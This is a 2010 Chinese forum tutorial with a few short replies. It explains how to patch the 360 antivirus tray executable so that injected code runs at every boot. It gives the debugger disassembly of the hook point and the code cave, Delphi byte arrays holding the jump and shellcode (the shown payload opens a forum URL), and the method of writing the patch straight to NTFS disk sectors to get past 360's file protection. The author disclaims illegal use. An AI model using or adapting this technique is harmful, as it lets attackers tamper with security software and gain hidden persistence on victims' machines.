-
-
[原创] 让360俯首称臣----详细教程含源码
-
发表于: 2010-4-15 20:47
-
让360俯首称臣----详细教程含源码
前沿：众所周知，360是一款拥有亿级用户的强悍软件（引用自论坛坛友未经证实），那么我等菜鸟，对驱动一无所知，如何让360俯首称臣呢？尤其是最新版的功能强大的360见附图，甚至都不能改文件名。思路决定出路，你想到了没有？
简单的思路：
1、pediy360的重要文件，插入我们的代码，实现预期功能；
2、直接写硬盘扇区，完成“老母鸡变鸭”。
具体实现：
首先：讲一下如何pediy 360的文件。
我选择360safe\safemon\360tray.exe，先把它复制到桌面上，然后用od打开搜索当前模块中的名称 找到如下的行：
00477920 .rdata USER32.LoadIconW 选中该行后回车弹出一个窗口，显示的是程序调用该api的地方，有6处，我挑了这一处0043E88F CALL DWORD PTR DS:[<&USER32.LoadIconW>]，因为程序只调用它一次，在这个地方patch的话正好。
0043E88B |. 8B48 04 MOV ECX,DWORD PTR DS:[EAX+4] ; |
0043E88E |. 51 PUSH ECX ; |hInst
0043E88F |. FF15 20794700 CALL DWORD PTR DS:[<&USER32.LoadIconW>] ; \LoadIconW
接下来再找个写代码的地方，在od的中选中“查看-->内存”命令，在弹出窗口中选中
“ 00401000 00076000 360tray .text 代码 ”这行后按ctrl+B，搜一串00 00 00 00 00 00 00
即可，找到地址476b8c，过去一看果然可以，感谢一下360给我们准备了这么大的空间。
00476B81 . E8 BFF0FCFF CALL 360tray.00445C45
00476B86 . A2 7C264900 MOV BYTE PTR DS:[49267C],AL
00476B8B . C3 RETN
00476B8C 00 DB 00 //这里开始就可以写我们的代码了
00476B8D 00 DB 00
00476B8E 00 DB 00
00476B8F 00 DB 00
00476B90 00 DB 00
00476B91 00 DB 00
00476B92 00 DB 00
00476B93 00 DB 00
00476B94 00 DB 00
修改的地方我就贴2张图了，更加直观。
其次也是我们的重点就是直接写硬盘，当然干这事的时候，360都是开着的，只是它不知道我们的手段是如此的“低级”。通过前面的pediy我们可以得到如下信息：(采用delphi的语法)
patch1: array[0..4] of byte = ($E9, $F8, $82, $03, $00);
patch2: array[0..75] of byte = (
$FF, $15, $20, $79, $47, $00, $60, $6A, $03, $6A, $00, $6A, $00, $68, $B1, $6B,
$47, $00, $68, $A0, $85, $47, $00, $6A, $00, $FF, $15, $88, $78, $47, $00, $61,
$E9, $E4, $7C, $FC, $FF, $68, $00, $74, $00, $74, $00, $70, $00, $3A, $00, $2F,
$00, $2F, $00, $62, $00, $62, $00, $73, $00, $2E, $00, $70, $00, $65, $00, $64,
$00, $69, $00, $79, $00, $2E, $00, $63, $00, $6F, $00, $6D);
patch1在可执行文件中的sector偏移是$1F4，扇区内偏移是$8F；
patch2在可执行文件中的sector偏移是$3B5，扇区内偏移是$18c；
在这里我简单科普一下，由于fat32比较老，这里假设360装到了ntfs格式的D:,我们先由硬盘首扇中的信息得到第二个分区的起始位置，加上十进制的63就是D:引导记录的位置，从中我们可以得知该分区的文件系统是ntfs，每簇扇区数，$MFT的起始簇号。这时就可以定位$MFT，然后通过的file record信息得到$MFT的大小，在此范围内搜索到360tray.exe的file record，再通过其80h属性值中的data run信息定位该文件在硬盘中具体分布在哪些地方，我的例子中是连续分布的，相对简单。如果遇到下面的情形就要再复杂一些，6处31表示文件分布在6处，每个31后的四个字节，其中第一个是该处数据块占用的簇数，后3个字节是起始位置（相对于D:的引导记录）。这样的情况我就不处理了，通常硬盘用的时间长了可能就会这样，刚开始用的硬盘即使一部高清电影，也都是连续存放的。
0C0B9B900 80 00 00 00 60 00 00 00
0C0B9B910 01 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00
0C0B9B920 F9 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
0C0B9B930 00 A0 0F 00 00 00 00 00 38 96 0F 00 00 00 00 00
0C0B9B940 38 96 0F 00 00 00 00 00 31 06 72 1B 05 31 06 8E
0C0B9B950 71 01 31 35 C6 2E FB 31 4A C7 AF 04 31 35 13 C3
0C0B9B960 00 31 3A 67 6A 13 00 C3 FF FF FF FF 82 79 47 11
讲了这么多，大家也不一定理解，代码见附件（含diy过的360tray.exe）。
注：没有优化过，基本实现功能，测试必要条件：
1、360安装在D盘；
2、D盘是NTFS文件系统；
3、360tray.exe连续存放；
4、相同的360版本，见上图。
其实，只要在上面的基础上简单修改一下就通用了，考虑到具有一定的危害性就到此为止。
在360运行的环境中，执行程序不会遇到抵抗，以后每次电脑启动，都会偷偷执行360中嵌
入的代码，我只是演示了打开论坛主页，如果你有更好的想法也可以试试，但是请不要用
于非法用途。一点小小的心得，愿与大家分享，水平业余错误难免，如有误导抱歉！
by 天易love 2010-04-15
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
 我承认你很单纯行了吧....
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
围观6楼
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
MJ大牛暴下瑞星的真正可以利用的ODAY吧
|
|
|
|
|
|
微点的那个漏洞,昨天securityfocus邮件列表也送了份,他们搜集信息的速度蛮快,不到一天就把mj大牛的咚咚挖出来了,不过没作者..没署名,mj大牛当无名英雄了
|
|
|
|
|
|
有趣。。
|
|
|
|
|
|
|
